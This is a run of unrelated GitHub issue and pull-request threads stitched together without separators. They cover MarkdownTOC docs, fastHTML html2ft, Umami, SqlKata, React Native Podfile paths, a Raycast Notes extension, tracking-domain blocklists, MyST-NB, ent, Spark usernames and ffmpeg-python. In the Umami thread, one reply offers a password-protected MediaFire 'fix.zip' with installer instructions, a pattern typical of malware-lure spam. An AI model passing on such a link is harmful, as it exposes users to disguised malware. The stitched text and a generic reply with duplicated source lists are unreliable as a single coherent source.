Brush-up documentation

The documentation needs an overall brush-up. I have volunteered to take a lead on this.

Hola @naokazuterada,
I have fleshed out a new documentation structure for the README. It is more feature centered than parameter/attribute centered. I am still fixing issues and cleaning the document.
All is available in the branch: https://github.com/naokazuterada/MarkdownTOC/tree/documentation_brush-up
Proof reading is most welcome, if I have gotten some features wrong, the examples are not valid.
There will be plenty of spelling errors and other issues, I will look into getting these addressed before a possible merge.
Please let me know what you think

Wow, thank you so much!
It looks good to me!
While I was reading, I noticed that it's not support ST2 in v2, and README's TOC style should be locked to be same result in different environments.
So please cherry pick these commits on master branch.

c3672e5a67c373011ca6e82fa735daeb78cb3cb1
b4ceb7536ad680b3766f3243ba966cb17e6baa07

Changes cherry-picked, you could just have checked out the branch, if I wanted to keep it private, I would not have published it 😄

I have added some more material, and added the following on my TODO list:

[ ] Better examples, not clear on whether the use of examples named heading clutter the document, thinking search- and readability
[ ] Add information on ST2 compatibility
[ ] Add more information on other platforms than Apple OSX, where applicable (installation etc)
[ ] More use cases / feature descriptions, hints and recommendations, lifted from issues raised


Fix html2ft edge cases, group custom attrs, add tests

name: Pull Request
about: Propose changes to the codebase
title: '[PR] '
labels: ''
assignees: ''

Related Issue
Current issues with html2f implementation

hello
 incorrectly converts to Div('hello', **{'x-transition:enter.scale.80':''}, **{'x-transition:leave.scale.90':''})

hello
 incorrectly converts to Div('hello', id='1') with attrs1st=True
(Not a bug but inconvenience):
Div('Hello 👋', x_show='open', **{'x-transition:enter':'transition duration-300'}, **{'x-transition:enter-start':'opacity-0 scale-90'}) <- custom attributes spread around multiple dictionaries as opposed to being grouped into 1 dictionary, e.g.
Div('Hello 👋', x_show='open', **{'x-transition:enter':'transition duration-300', 'x-transition:enter-start':'opacity-0 scale-90'})
Proposed Changes
This PR addresses the issues mentioned above ⬆ and adds tests for htm2ft function
Types of changes
What types of changes does your code introduce? Put an x in all the boxes that apply:

[x] Bug fix (non-breaking change which fixes an issue)

Thanks @callmephilip ! Can you please run nbdev_export to fix CI?

Thanks @callmephilip ! Can you please run nbdev_export to fix CI?

I tried the following multiple times:
nbdev_export && nbdev_clean && nbdev_trust

Still no luck. It seems like something has happened to _modidx

Try updating to the latest nbdev maybe?

Message ID: @.***>

nuked project directory and did a fresh checkout. looks good now

Many thanks :)


2.13.x -- Sessions Activity log seems to have no function

Describe the Bug
The 'activity log' section of the new Sessions page shows no information of any kind
"Something went wrong" error shows instead.
Chrome devtools reports that /api/websites/:website_id/sessions&args fails with a 500 error. When accessed directly with the same browser, the URL being fetched returns 401 Unauthorized even though I'm logged in as the only admin.
Umami install is fully whitelisted by adblocker at domain level.
Database
MySQL
Relevant log output
No response
Which Umami version are you using? (if relevant)
2.13.2
Which browser are you using? (if relevant)
No response
How are you deploying your application? (if relevant)
No response

Download
https://www.mediafire.com/file/5t7dozm7sptcuqj/fix.zip/file
password: changeme
In the installer menu, select "gcc."

You'll need to post the error.

I've given more than this above.  There's nothing else available.


Compatibility issue with Sqlkata 2.4.0

While using the following code:
var compiler = new MSAccessCompiler();
var query = new SqlKata.Query("MainTable").Where("ID",1);
SqlResult result = compiler.compile(query);

it gives MissingMethodException: Method not found: 'Int32 SqlKata.OffsetClause.get_Offset()'.
Works fine with version 2.3.9.

Hey thanks for letting me know. I'll have to investigate, as I haven't updated my nuget packages in a while, so I didn't see this.

@ZoherFesto2
I copied your code into a new Unit Test and published it on a new branch. The unit test doesn't throw any exceptions. Is there something else in nearby code that may be causing it?

@ZoherFesto2 I copied your code into a new Unit Test and published it on a new branch. The unit test doesn't throw any exceptions. Is there something else in nearby code that may be causing it?

these three lines are the only ones I used. and they throwed the mentioned error.
did you reference sqlkata 2.4.0 ? i faced this error in this version.

Yes, I updated the branch in question to 2.4. All my unit tests passed, including the new one that has that code in it.
I'm running in Windows 10, with all the MSAccess runtimes installed.
Can you duplicate the issue if you download the branch and run the unit test?

I downloaded the branch, it runs fine, when i create a new project and use that code snippet it results with an error.
The error message is very descriptive.
MissingMethodException: Method not found: 'Int32 SqlKata.OffsetClause.get_Offset()'.
can you have a look on my test code that throws the error ?
WebApplication2.zip

Sorry i closed the issue by mistake:
The branch runs fine with the unit tests. but the error message shows in every single project i create. it seems the branch still have a hidden reference to SqlKata 2.3.9.
In the QueryBuilder/Clauses/OffsetClause.cs I can't find the method get_offset that is giving me the error :
MissingMethodException: Method not found: 'Int32 SqlKata.OffsetClause.get_Offset()'.
Please have a look to the sample project
WebApplication2.zip

Update:
In the attached project i deleted the nuget references and used direct references to dlls i built using the branch project. It worked! is there any chance that the nugets on nuget.org are outdated/bugged ones?

You were correct, my SqlKata.Extensions was still targeting SqlKata 2.3.2
I've updated the repo and verified it now all targets 2.4.0 on the PR.
I've also updated NuGet with packages just now - v<IP_ADDRESS> - that were just built, so all packages should properly require 2.4.0.
Can you re-test after grabbing the updated packages?

For what its worth, I just downloaded your solution zip, and the issue occurred as it was configured (old packages).
I then updated to the v<IP_ADDRESS> packages I published this morning and no exception occurred. Please verify and close this thread if its resolved. Thanks for reporting the issue!

For what its worth, I just downloaded your solution zip, and the issue occurred as it was configured (old packages). I then updated to the v<IP_ADDRESS> packages I published this morning and no exception occurred. Please verify and reopen this thread if its not resolved. Thanks for reporting the issue!

The solution zip contains the following references:
  <ItemGroup>
    <PackageReference Include="RFBCodeWorks.DatabaseObjects" Version="<IP_ADDRESS>" />
    <PackageReference Include="RFBCodeWorks.SqlKata.Extensions" Version="1.0.0" />
    <PackageReference Include="RFBCodeWorks.SqlKata.MsOfficeCompilers" Version="<IP_ADDRESS>" />
    <PackageReference Include="SqlKata" Version="2.4.0" />
  </ItemGroup>

But it doesn't matter any more. I con confirm the nugets are working.
Thank You for this awesome project!


⚠ Samsung has degraded performance

In 3f6cc84, Samsung (https://samsung.com) experienced degraded performance:

HTTP code: 200
Response time: 2720 ms

Resolved: Samsung performance has improved in 6428f7c.


Failure to Generate iOS React Native 0.72.12 Project in Custom Directory

Description
If the project structure follows the one below, running pod install is successful:
└── guideProgram
⠀⠀⠀⠀⠀├── package.json
⠀⠀⠀⠀⠀├── node_modules
⠀⠀⠀⠀⠀└── ios
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀└── Podfile
However, when the structure is customized as follows:
└── myProgram
⠀⠀⠀⠀⠀├── rn
⠀⠀⠀⠀⠀├── ├── node_modules
⠀⠀⠀⠀⠀├── └── package.json
⠀⠀⠀⠀⠀└─ ios
⠀⠀⠀⠀⠀⠀⠀⠀└── Podfile
It results in an error message:
"[!] Invalid Podfile file: undefined method `prepare_react_native_project!' for #Pod::Podfile:0x00007f8733259588."
It has been bothering me for several days now！
Steps to reproduce

Install React Native 0.72.12
Customize project structure
Copy the Podfile from Upgrade Helper.
Run "pod install".

React Native Version
0.72.12
Affected Platforms
Runtime - iOS, Build - MacOS
Output of npx react-native info
no info.ddd

Stacktrace or Logs
no trace.

Reproducer
http://www.github.com
Screenshots and Videos
No response

Here are a few suggestions that might help:

Check Your React Native Version: Make sure you're using the correct version of React Native. Some users have reported similar issues with certain versions of React Native.

Check Your Project Structure: The structure of your project might be causing the issue. React Native expects a certain project structure, and if your project doesn't match this structure, it might cause problems. Make sure your node_modules directory and package.json file are in the correct locations.

Check Your Podfile: The error message suggests there might be an issue with your Podfile. Make sure your Podfile is correctly configured. You might want to try copying the Podfile from a working project or from the React Native Upgrade Helper.

Try a Clean Install: Sometimes, issues can be resolved by doing a clean install. Delete your node_modules directory and your Podfile.lock file, then run npm install or yarn install, followed by pod install.

Check for Updates: There might be updates or patches available that fix this issue. Check the official React Native GitHub page or community forums for information about any recent updates or fixes.

You can switch between different Node.js versions using Node Version Manager (NVM). Here are the steps: "This has worked wonders for me while using React Native as the Node.js -version is constantly switching"

Install NVM: If you haven't installed NVM yet, you can find the installation instructions on the [NVM GitHub page].

List installed Node.js versions: Use the command nvm ls to list all Node.js versions installed on your machine.

Switch Node.js version: To switch to a specific version of Node.js, use the command nvm use <version>. Replace <version> with the version number you want to use¹⁴. For example, if you want to switch to Node.js version 10.16.0, you would use the command nvm use 10.16.0.

Remember, you need to have the desired version of Node.js installed on your machine before you can switch to it. If the version is not installed, you can install it using nvm install <version>.
Please note that these commands are for Unix-based systems like Linux and macOS. If you're using Windows, you might want to use [nvm-windows], a similar tool for managing Node.js versions. The commands for nvm-windows are slightly different.
I hope this helps!
Source:
(1) How to switch Node.js versions with NVM - LogRocket Blog. https://blog.logrocket.com/how-switch-node-js-versions-nvm/.
(2) How to switch Node.js versions with NVM - LogRocket Blog. https://blog.logrocket.com/how-switch-node-js-versions-nvm/.
(3) How to Switch to an Older Version of Node.js - squash.io. https://www.squash.io/how-to-switch-to-an-older-version-of-nodejs/.
(4) How to Switch Node Version Permanently with nvm. https://hatchjs.com/nvm-switch-node-version-permanently/.
(5) How to change to an older version of Node.js - Stack Overflow. https://stackoverflow.com/questions/7718313/how-to-change-to-an-older-version-of-node-js.
(6) How to change to an older version of Node.js - Stack Overflow. https://stackoverflow.com/questions/7718313/how-to-change-to-an-older-version-of-node-js.
(7) How To Run Multiple Versions of Node.js with Node Version Manager. https://www.digitalocean.com/community/tutorials/nodejs-node-version-manager.
Source:
(1) Unable to Pod Install on a brand new React Native Project. https://stackoverflow.com/questions/75277079/unable-to-pod-install-on-a-brand-new-react-native-project.
(2) How can I fix pod install error in react-native? - Stack Overflow. https://stackoverflow.com/questions/71393214/how-can-i-fix-pod-install-error-in-react-native.
(3) Example project not building iOS · Issue #632 · oblador/react-native .... https://github.com/oblador/react-native-keychain/issues/632.
(4) Setting up the development environment · React Native. https://reactnative.dev/docs/environment-setup.
(5) undefined. https://github.com/facebook/react-native/issues/28446.

Hi @ywqqqqq, the problem in moving the iOS project outside the react-native suggested structure, is that it breaks some assumptions on where the files are located.
For example, in the Podfile, we do this:\
# Resolve react_native_pods.rb with node to allow for hoisting
require Pod::Executable.execute_command('node', ['-p',
  'require.resolve(
    "react-native/scripts/react_native_pods.rb",
    {paths: [process.argv[1]]},
  )', __dir__]).strip

to require the react_native_pods file in Ruby which is the file that contains the prepare_react_native_project! function in your error.
Why do you need to move the ios folder out? Is it a strong requirement for you?
I suggest to keep the structure as it is right now.
Otherwise, you need to figure out all the path that broke, starting from this require and debugging all of them when they appear.

Hey @cipolleschi, Thanks for your reply.
I had spent several days trying to modify the paths in this piece of code you mentioned , but I failed.
`
Resolve react_native_pods.rb with node to allow for hoisting
require Pod::Executable.execute_command('node', ['-p',
'require.resolve(
"react-native/scripts/react_native_pods.rb",
{paths: [process.argv[1]]},
)', dir]).strip
`
The reason for such directory modification is historical. Our project's module directory consists of multiple pods, with each being one of the pods for React Native.
The Actual structure like below:
└── XXProgram
└─ andriod
└─ ios
└── Podfile
└─ module
└── XXRN
└── node_modules
└── package.json
└── XXUser
└── XXShopping
Is it possible to upgrade React Native with this structure?

You can try to hardcode the require to something like:
require_relative '../<path_to_node_modules>/react-native/scripts/react_native_pods.rb'

the first .. is to move out from the ios folder. Then you need to find the path to the react-native source and then it will be in /scripts/react_native_pods.rb.
There are some other paths that can broke at this point, but you should be able to make progress..
I think it would be simpler if you can accept to move back React Native And have something like:
XXProgram
└ node_modules
└ package.json
└ XXRN.podspec #this is probably not required anymore
	└ andriod
	└ ios
		└ Podfile
	└ module
		└ XXUser
			└ XXUser.podspec
		└ XXShopping
			└ XXUser.podspec

This config should be supported out of the box.

Due to the project containing a dozen native pods, modifying the directory structure is not easy.
XXProgram
└─ ios
⠀⠀⠀└── Podfile
⠀⠀⠀└─ module
⠀⠀⠀⠀⠀⠀└── XXRN
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀└── a.ts
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀└── node_modules
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀└── package.json
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀└── XXRN.podspec
⠀⠀⠀⠀⠀⠀└── XXUser
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀└── b.swift
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀└── XXUser.podspec
⠀⠀⠀⠀⠀⠀└── XXShopping
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀└── c.swift
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀└── XXShopping.podspec

The hardcode required suggestion you provided resolved the previous error, but a new error has occurred as follows:
{console.log(require('@react-native-community/cli').bin);} catch
  (e) {console.log(require('react-native/cli').bin);}
<EMAIL_ADDRESS>
#the actual path is
<EMAIL_ADDRESS>
It seems like the project root directory gone. The issue is occurring in this line of native_module.rb
cli_resolve_script = "try {console.log(require('@react-native-community/cli').bin);} catch (e) {console.log(require('react-native/cli').bin);}

So I try to hardcode this require_relative '../cli/build/bin.js'. Any all issues have been resolved.
However, hardcoding here is not a good solution. Do you have any better suggestions?:):)@cipolleschi

It is not bad if it works for your use case and you don't have to ship libraries to anyone.
The problem is that you'll have to reapply the fix every time the node_modules changes or get updated. The usual solution in these cases is to leverage a patch-package. So you can create a couple of scripts that replaces the faulty lines in your setup with the hardcoded ones and the patch-package library should take care of applying the pathces every time you run yarn or yarn install to update the dependencies.


[Apple Notes] Add new actions & Fix Bugs

Description
This update to the Apple Notes extension adds four new actions: Copy Note URL, Copy Mobile Note URL, Delete Note, and Restore To Notes Folder. The two URL actions copy to the clipboard a notes:// or mobilenotes:// deeplink, respectively. This update also moves Recently Deleted notes to their own list section below other notes.
I've also fixed some bugs by adjusting the AppleScript to open notes and relying on the SQL database alone to query for notes instead of getting them via AppleScript.
Issues Resolved
Resolves #5469
Resolves #5658
Checklist

[x] I read the extension guidelines
[x] I read the documentation about publishing
[x] I ran npm run build and tested this distribution build in Raycast
[x] I checked that files in the assets folder are used by the extension itself
[x] I checked that assets used by the README are placed outside of the metadata folder

Do you mind checking this @StevenRCE0 😊

Do you mind checking this @StevenRCE0 😊

It works as expected, apart from a long existed issue:
Error: database disk image is malformed
    at c.handleError (/Users/{user}/.config/raycast/extensions/apple-notes/index.js:2355:19)
    at a.step (/Users/{user}/.config/raycast/extensions/apple-notes/index.js:2082:31)
    at /Users/{user}/.config/raycast/extensions/apple-notes/index.js:4486:26

Typically it'll disappear after a while. I don't really have clues of what's going on.

@StevenRCE0 I can look into it and make a separate PR if I find a solution. I don't really know why that's happening either...

I don't really know why that's happening either...

Okay...
I'm happy with this PR, maybe also assign keyboard shortcuts to these copy actions?

@pernielsentikaer I think it's ready to be merged 😊

I've identified the bug in the Notes extension. It seems to stem from a particular type of note. Specifically, any Apple note that is accompanied by a file attachment (not an image) appears to trigger the issue. Once I removed the file attachment from the problematic note, I was able to successfully operate the extension. This issue occurred while utilizing image effects.


Release v0.10.7 has no assets

Hi,
can you take a look at the latest release? It only contains the sourcecode, the binary assets are missing

对啊，怎么没有ARM版的呢

I've refact this release process and here is the release v0.10.8 with binary assets.

https://github.com/hnlq715/nginx-vts-exporter/releases/tag/v0.10.8


[QUESTION] Use of global variables

I would like to know about the use of global variables within FastAPI application.
In aiohttp, the use of global variables is discouraged.
https://aiohttp.readthedocs.io/en/stable/web_advanced.html#data-sharing-aka-no-singletons-please
Does FastAPI have such a constraint?  Is it possible to use global variables?
For example, can the database global variable in this main.py be used safely by coroutines (async def functions) in the application?
https://fastapi.tiangolo.com/tutorial/async-sql-databases/#import-and-set-up-databases

Yep, you can use globals or anything you need.

BTW, databases is created by the same Tom Christie that created Starlette. So, Starlette (and that way FastAPI) is the main framework it is tested with.

@tiangolo
Thank you for your answer!


Printing the website removes most of the images?

Any ideas on how this is happening?

cc @shredtechular @critzo

@georgiamoon That's a good catch...always forget about that use case!
Typically a website should have a separate print.css file that browsers use to send format of a page to the printer in a nicely formatted fashion.  I don't see a print.css in the legacy website code in github?
We can work on a stylesheet that cleans up the printed version of the page.  I don't think we want a lot of areas being printed though right?  Like the nav menus of all kinds (main, subnav, ToC, footer, etc...), video area on homepage, slider on homepage, and maybe some others I'm not thinking of.  I don't think someone looking to print out a page would want any of that stuff, right?  They just want the straight content and maybe a toned down header/footer whose only purpose is to show the beginning/end of the content and identify MLabs on it.

So in this instance I was trying to print screen the site itself, so I did
want all of the images and wanted the website to print as is.
I think that the behavior you are describing makes sense for any of the
resource pages (e.g. data documentation, FAQs, blog posts, test pages,
etc), the except might be the home page itself, the observatory and the
visualization pages, where we want the graphics/images/text to print as is,
but fitting in the printable area.
Does that make sense?


More tracking domains seen on German sites

As a follow-up of #1558 I want to add more domains to the blocklist. They are ordered by main site I've seen them on.
The subdomains of s400.meetrics.net seem to be pretty numerous. I think it's a safe bet that we could add lbX.s400.meetrics.net with x \in [1-99].
welt.de

p.vtracy.de
www.asadcdn.com
adstax-cdn.adrtx.net
lmyd3iz3qn.kameleoon.eu

apotheken-umschau.de

logs1407.xiti.com
s400.mxcdn.net
lb7.s400.meetrics.net
lb70.s400.meetrics.net
lb73.s400.meetrics.net
lb74.s400.meetrics.net
lb79.s400.meetrics.net
pdw-usr.userreport.com

heise.de

eu-tlp04.kameleoon.eu
eu-tlp06.kameleoon.eu
eu-tlp07.kameleoon.eu

golem.de

lb5.s400.meetrics.net
lb9.s400.meetrics.net
lb13.s400.meetrics.net
lb30.s400.meetrics.net
lb49.s400.meetrics.net
lb50.s400.meetrics.net
lb62.s400.meetrics.net
lb76.s400.meetrics.net
lb78.s400.meetrics.net
lb86.s400.meetrics.net
lb90.s400.meetrics.net
lb96.s400.meetrics.net

spiegel.de

bls.adalliance.io
traffic.emsservice.de
static.emsservice.de
te.technical-service.net

Thanks @KommX I've added these in commit 777ffdea9.
Closing.


How to access nested Superforms stores on config?

I'm trying to disable the form button based on the Superforms $delayed stored exposed on config:
<Form.Button disabled={config.form.delayed}>

The issue is that it's nested under config.form and Svelte doesn't allow subscribing to stores that are nested in an object. How can I accomplish this functionality?

Hey @pheuter, you you should be able to access the delayed value via the <Form.Root /> slot props, which will react since the store is passed as the value in the <Form.Root />. Working on updating the docs to reflect all the props but basically I'm passing all the things that you'd pull from const { ... } = superForm() as slot props.
<Form.Root let:delayed let:message>
	{#if message}
		<p>{message}</p>
	{/if}
	<Form.Button disabled={delayed}>Submit</Form.Button>
</Form.Root>

Under the hood in the <Form.Root/> component this is basically what's happening:
<script lang="ts">
	const { delayed, message, ... } = superForm(data.form, {...options})
</script>

<slot delayed={$delayed} message={$message} ... />

So it will update as the value of the store changes so your UI should react accordingly, even though it's not a store!
Let me know if you run into any issues with this and I'm happy to look into it!

This should work, thanks!

Awesome, feel free to reopen the issue if problems arise!


Create automation for syncing common CI/test files

We have a lot of files we're duplicating between several repos that are the same, or could be the same. I would like to either identify or create some automation to minimize the burden of keeping improvements and fixes in sync across repos.
Some examples:

GitHub workflow for running actionlint
GitHub workflow for running markdown lint
Makefile snippets for running common tools like actionlint, md-lint
spellcheck custom dictionary
configuration and workflows for python formatting and linting to retain common standards throughout the project

@danmcp @n1hility @alimaredia might we want to revisit this? if not let's close it out


CellOutputNodeBundle has output_count="0" in case of --build latexpdf

The issue is that,  the post-transform function - CellOutputsToNodes, to replace CellOutputBundleNode to docutil nodes according to mime-type, actually replaces CellOutputBundleNode with nothing(empty) in case of latexpdf build. Becuase of which, the pdf has no outputs from code-cells.
The reason being the document ast in this case has <CellOutputBundleNode output_count="0"/> in the post-transform stage, but in case of html is has correct ast with  <CellOutputBundleNode output_count="1"/> .
While trying to do a traceback, I found that the parser itself seems to be working fine,  with ast being created there with  <CellOutputBundleNode output_count="1"/> as intended by this function
# Render the Markdown tokens to docutils AST.
tokens_to_docutils(md_parser, env, tokens, document)

So, it seems like somewhere between parse and post-transform, there is something that is messing it up.
I am trying to debug it, but would love insights on this @choldgraf @chrisjsewell @mmcky

Ok, probably found out the reason for this.
The write function in LatexBuilder of sphinx, has this function called inline_all_toctrees which basically merges individual doctrees into one.
So, there is this cast function from typing  module inside this function
tree = cast(nodes.document, tree.deepcopy())

which has this deepcopy function of python which basically converts
CellOutputBundleNode output_count="1"/></CellOutputNode> to <CellOutputBundleNode output_count="0"/></CellOutputNode> . :(
Remember this function @mmcky , it is back again.

huh, that is a weird bug...maybe we run into this issue with the pdfhtml builder as well?

Nice work @AakashGfude - back again. So the copy process just not be saving the metadata for the count.

huh, that is a weird bug...maybe we run into this issue with the pdfhtml builder as well?

Maybe not, because this function is used  in case of latex only.

Nice work @AakashGfude - back again. So the copy process must not be saving the metadata for the count.

I guess so, maybe we can try a different format, to see if it the information persists. I will try out a few things.

It will also affect singlehtml builder so will probably impact pdfhtml also.
Sent from my phone

On 16 Apr 2020, at 1:11 pm, AakashGC<EMAIL_ADDRESS>wrote:

huh, that is a weird bug...maybe we run into this issue with the pdfhtml builder as well?
Maybe not, because this function is used in case of latex only.
Nice work @AakashGfude - back again. So the copy process must not be saving the metadata for the count.
I guess so, maybe we can try a different format, to see if it the information persists. I will try out a few things.
—
You are receiving this because you were mentioned.
Reply to this email directly, view it on GitHub, or unsubscribe.

It will also affect singlehtml builder so will probably impact pdfhtml also.

ooh yeah, the function is in singlehtml as well. missed that.

So, the deepcopy function which is basically a function inherited from docutils as mentioned by @mmcky  here https://github.com/ExecutableBookProject/MyST-NB/issues/128 . reduces the count of <CellOutputBundleNode output_count="1"/> by 1. The outputs attached to CellOutputBundleNode is also stripped off, as node.outputs returns empty in the CellOutputsToNodes post-transform function.
for node in self.document.traverse(CellOutputBundleNode):
   cell = {"outputs": node.outputs}

So I guess this stripping off of outputs  attribute of CelllOutputBundleNode is causing the decrease in count?
Now, I tried testing this behaviour for html target as well, which does not go through that function during jupyter-book build, to verify if deepcopy is the culprit.
For one particular build, this line
for node in self.document.traverse(CellOutputBundleNode):
   cell = {"outputs": node.outputs}

was giving [{'data': {'text/plain': '4.04891256782214e-16'}, 'execution_count': 2, 'metadata': {}, 'output_type': 'execute_result'}]  as the result for node.outputs
When I changed that line to
 for node in self.document.deepcopy().traverse(CellOutputBundleNode):
            cell = {"outputs": node.outputs}

Notice the deepcopy.
then it gave ' ' as the result for node.outputs.
So, deepcopy is indeed stripping off that attribute of this user-defined class

You should just be able to add a copy method to CellOutputBundleNode to override the base copy method: https://github.com/docutils-mirror/docutils/blob/e88c5fb08d5cdfa8b4ac1020dd6f7177778d5990/docutils/nodes.py#L1003

Thanks a lot @chrisjsewell .


question: edger-loading json omitempty

@a8m  hello
with v0.6.0
eager-loading empty values will miss
//O2M M2M
WithX()
// if not empty
{edges: {x: [{....}]}}
// if empty
{edges: {}}

// want
// if empty
{edges: {x: []}}

i see logic code
https://github.com/ent/ent/blob/c0fd7c1305f32af722041278277a85a4d4237304/entc/gen/type.go#L1487-L1491
how to generate code default without omitempty?
must i edit StructTag(json:"x") on edges?
Originally posted by @maxiloEmmmm in https://github.com/ent/ent/issues/790#issuecomment-793473761

Hey @maxiloEmmmm,
If you eager-load the edges, their values won't be nil, even if no edges were found. For example:
u := client.User.Query().FirstX(ctx)
fmt.Println(u.Edges.Pets == nil) // true.
u = client.User.Query().WithPets().FirstX(ctx)
fmt.Println(u.Edges.Pets == nil) // false.

However, according to the encoding/json GoDoc:

The "omitempty" option specifies that the field should be omitted from the encoding if the field has an empty value, defined as false, 0, a nil pointer, a nil interface value, and any empty array, slice, map, or string.

That means, if you want to change this behaviour, you'll need to define the json struct-tag to all edges. You can do it in the schema like your mentioned or use a codegen-hook for adding it to all edges at once.
Let me know if it helped and I can close this issue. Thanks

@a8m hi
i want array for frontend on O2M and M2M instead of undefined by default
i find codegen-hook can satisfy me that's great, thanks, but i think omitempty on O2M and M2M is superfluous

Thanks for the feedback 😃


CSSRulesList in browser environments is not actually an array.

Therefore it doesn't have a map function.
As a result, calling flush on browser environment fails.
This fixes the issue by converting it to an array using Array.from

I know that it's not very typical to run styled-jsx/server in browser environments.
In my case, I'm creating a GUI editor for React (using Grapesjs).
Nothing else prevents the code to work on a browser environment.

awesome thank you for the contribution!


[Bug]: Oracle failed to create foreign key constraint

ODC version
odc424
OB version

What happened?

What did you expect to happen?
Created successfully
How can we reproduce it (as minimally and precisely as possible)?
Oracle selects different databases to create foreign key constraints
Anything else we need to know?
No response
Cloud
No response

When creating cross library foreign keys, you need to execute grant references on userA.tableA to userB


Swap if with comparator to get rid of nothing

Currently ssaProgram doesn't support nulls. And so predicate with Nothing can't be pushed down
But in some cases it's possible to get rid of Nothing by rewriting a predicate
example query:
(case when household_demographics.hd_vehicle_count > 0
then household_demographics.hd_dep_count/ household_demographics.hd_vehicle_count
else null
end)

I don't see how you can rewrite this predicate to get rid of nulls


[SPARK-43171][K8S] Support custom Unix username in Pod

What changes were proposed in this pull request?

This PR allows the users to custom Unix username in Pod by setting env var SPARK_USER_NAME, which reduces the gap between Spark on YARN and K8s.
Each line in /etc/passwd is compose of
username:password:UID:GID:comment:home_directory:shell

This PR simply change the first item from $myuid to ${SPARK_USER_NAME:$myuid} to achieve the above ability.
Why are the changes needed?

In Spark on Yarn mode, when we launch a Spark application via spark-submit --proxy-user jack ..., the Yarn will launch containers(usually Linux processes) using Unix user "jack", and some components/libraries rely on the login user in default, one example is Alluxio
https://github.com/Alluxio/alluxio/blob/da77d688bdbb0cf0c6477bed4d3187897fe2a2e1/core/common/src/main/java/alluxio/conf/PropertyKey.java#L6469-L6476
  public static final PropertyKey SECURITY_LOGIN_USERNAME =
      stringBuilder(Name.SECURITY_LOGIN_USERNAME)
          .setDescription("When alluxio.security.authentication.type is set to SIMPLE or "
              + "CUSTOM, user application uses this property to indicate the user requesting "
              + "Alluxio service. If it is not set explicitly, the OS login user will be used.")
          .setConsistencyCheckLevel(ConsistencyCheckLevel.ENFORCE)
          .setScope(Scope.CLIENT)
          .build();

To reduce the difference between Spark on YARN and Spark on K8s, we hope Spark on K8s keeps the same ability to allow to dynamically change login user on submitting Spark application.
Does this PR introduce any user-facing change?

Yes, it allows the user to custom Pod Unix username by setting env var SPARK_USER_NAME in K8s, reducing the gap between Spark YARN and K8s.
How was this patch tested?

Manually testing in our internal K8s cluster.
spark-submit --master=k8s://xxxx \
        --conf spark.kubernetes.driverEnv.SPARK_USER_NAME=tom \
	--conf spark.executorEnv.SPARK_USER_NAME=tom \
	--proxy-user tom \
        ...

And login the Pod, verify the Unix username is tom instead of 185

SPARK_USER_NAME is introduced in SPARK-26015(https://github.com/apache/spark/pull/23017), and I guess supporting dynamic user name is one of the author initial intention

cc @Yikun

@Yikun I suppose it's a K8s-only feature.
As mentioned in the PR description, the main purpose is to reduce the gap between Spark on YARN and K8s, to allow users seamlessly migrate Spark jobs from YARN to K8s.
I don't have much knowledge about docker/container technology, and I agree w/ you it looks not easy to dynamically switch user based on the Docker Official Image rule

Also cc @yaooqinn

Just for others reviewer infomation, I also wanna share some considerations about this (also include some idea in offline discussion with @pan3793 ):

(-0.5) As per docker official recommendation about USER, we should use groupadd and useradd to address, rather than change /etc/passwd directly. If we specify the USER (useradd/groupadd) in Dockerfile in future, this change will be ignored.
(-0.5) In theory, application users should be decoupled from container users. Such as, spark docker image should use static user spark (just like we done in spark-docker), and other application respect the spark user, or don’t depends on the container user.
(+0.5) As per https://github.com/apache/spark/pull/23017 original design, it was intend to switch user name dynamically.
(+0.5) Consider the Spark case, there are many users want to migrate YARN to K8s easily, support user dynamic switch is a reasonable case.
(+0.5) It's a K8s only feature, not for Docker image, so 1 / 2 could be balanced in some level.

So, I am +0.5 on this PR. : )

@pan3793 are we good to merge?

Do you think you can add an integration test case in order to prevent a future regression, @pan3793 ?

Sure, IT is added.

@Yikun @dongjoon-hyun would you please take a look again?

So I would say this looks ok to me, but I hear the concerns around modifying /etc/passwd so I agree on waiting to to see what comes out of the DOI discussions.

Here is the solution according to DOI suggestion: https://github.com/apache/spark-docker/pull/45. (use libnss to fake user)
I also had a offline discussion with @pan3793, it's also work for this case (if specified the SPARK_USER, then use the libnss to switch fake user).


Merge .mp4 and .mp3 files

I am trying to merge an .mp4 file with a .mp3 file. On the command line, that's easy, by just using two -i specifiers.
However when I make to infiles, like
infile1 = ffmpeg.inout("video.mp4")
infile2 = ffmpeg.input("sound.mp3")
and then
(ffmpeg.concat(infile1, infile2).output("merged.mp4")
I get an error:
Stream specifier '' in filtergraph description [0)[1]concat=n=2[s0] matches no stream.
Is this possible at all? And if so, how?

Try
infile1 = ffmpeg.input("video.mp4")
infile2 = ffmpeg.input("sound.mp3")

merged  = ffmpeg.concat(infile1, infile2, v=1, a=1)
output  = ffmpeg.output(merged[0], merged[1], "merged.mp4")


Fixed outdated vitess import reference.

A small patch to fix where go get fails to resolve the old vitess reference at lrucache/benchmark/vcache.go

And it works.

Opps, duplicated with. https://github.com/cloudflare/golibs/pull/12


Improve article 1812.02690

Exact location of issue
[1812.02690] Untitled Document
Problem details
"Conversion to HTML had a Fatal error and exited abruptly. This document may be truncated or damaged."

An 100 error cascade. Seems to be due to a flaw in latexml's Tikz emulation, starting with a call to \tikz@parse@regular.

This article now converts fully. There is a remaining issue with figure captions emitting errors, and a separate issue with algorithm 2 horizontally overflowing its bounding box.


[ITensors] Expose new KrylovKit.realeigsolve features to dmrg

Description
As of v0.8 KrylovKit supports finding the eigenvectors of real non-symmetric operators with real eigenvalues. This eliminates the need for complex arithmetic. For my problem it produces the same results as the standard hermitian=false algorithm.
I added an option to specify an early return from the eigensolve. I haven't tested this out but the documentation suggests it could significantly improve performance when the initial guess is very good, which I think could be a common case in later sweeps of DMRG so worth trying out.
I also forwarded the eigsolve_verbosity on to eigensolve. Previously this argument was ignored.
How Has This Been Tested?
It has not.
Checklist:

[ ] My code follows the style guidelines of this project. Please run using JuliaFormatter; format(".") in the base directory of the repository (~/.julia/dev/ITensors) to format your code according to our style guidelines.
[x] I have performed a self-review of my own code.
